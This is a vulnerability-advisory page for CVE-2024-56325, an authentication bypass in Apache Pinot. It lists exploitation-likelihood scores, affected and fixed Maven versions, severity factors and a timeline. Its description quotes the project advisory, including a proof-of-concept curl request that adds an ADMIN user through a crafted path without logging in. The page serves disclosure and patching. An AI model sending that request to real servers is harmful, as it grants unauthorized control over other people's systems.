CVE-2024-56325: Apache Pinot Vulnerable to Authentication Bypass

Should you act?

High exploit likelihood

EPSS ranks it in the top 5% of all CVEs for likely exploitation in the next 30 days. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.

• No confirmed exploitation. It is not in CISA’s KEV catalog and CISA’s SSVC assessment records no known exploitation. That can change quickly after a public write-up; re-check if you are affected.
• EPSS 80.2%, percentile 99.6: FIRST’s model estimates a 80.2% chance of exploitation activity in the next 30 days, higher than 99.6% of all scored CVEs (very high). EPSS is a probability, not a verdict.
• Remotely reachable with no login and no user interaction. If the vulnerable service is exposed to the internet, prioritize it.
• Only applies if your dependency tree includes org.apache.pinot:pinot-broker (Maven) >= 0.8.0, < 1.3.0, fixed in 1.3.0; org.apache.pinot:pinot-common (Maven) >= 0.8.0, < 1.3.0, fixed in 1.3.0; org.apache.pinot:pinot-controller (Maven) >= 0.8.0, < 1.3.0, fixed in 1.3.0. Check your lockfile, including transitive dependencies.

What it is

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"} http://{serverip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

From the GitHub advisory

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"} http://{serverip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Weakness type: CWE-288.

Product: org.apache.pinot:pinot-broker (Maven) · Assigned by: apache · Published: 2025-04-01

Affected and fixed versions

Severity scores

• Attack vector: network (remotely reachable)
• Attack complexity: low
• Attack requirements: none
• Privileges required: none (no login)
• User interaction: none

CVSS measures how bad a flaw is if exploited, not how likely exploitation is. Read it next to the exploitation data below.

Exploitation and urgency

• CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
• CISA SSVC assessment: exploitation none, automatable yes, technical impact total.
• FIRST EPSS (model of 2026-10-21): 80.21% probability of exploitation activity in the next 30 days; percentile 99.6.

Timeline

• 2025-04-01 — CVE record published by apache
• 2025-04-01 — GitHub-reviewed advisory GHSA-6jwp-4wvj-6597 published (critical)
• 2025-10-27 — CVE record last updated

Sources and references

Original sources first. Version and fix details should always be confirmed against the vendor or project advisory.

Vendor and project advisories, patches

1. lists.apache.org lists.apache.org

Vulnerability records

1. GitHub Advisory GHSA-6jwp-4wvj-6597 github.com
2. CVE.org record CVE-2024-56325 cve.org
3. NVD entry CVE-2024-56325 nvd.nist.gov

Other references from the CVE record and advisory

1. openwall.com openwall.com
2. github.com github.com
3. github.com github.com
4. github.com github.com
5. github.com github.com

Critical Maven advisories · Today’s Security Digest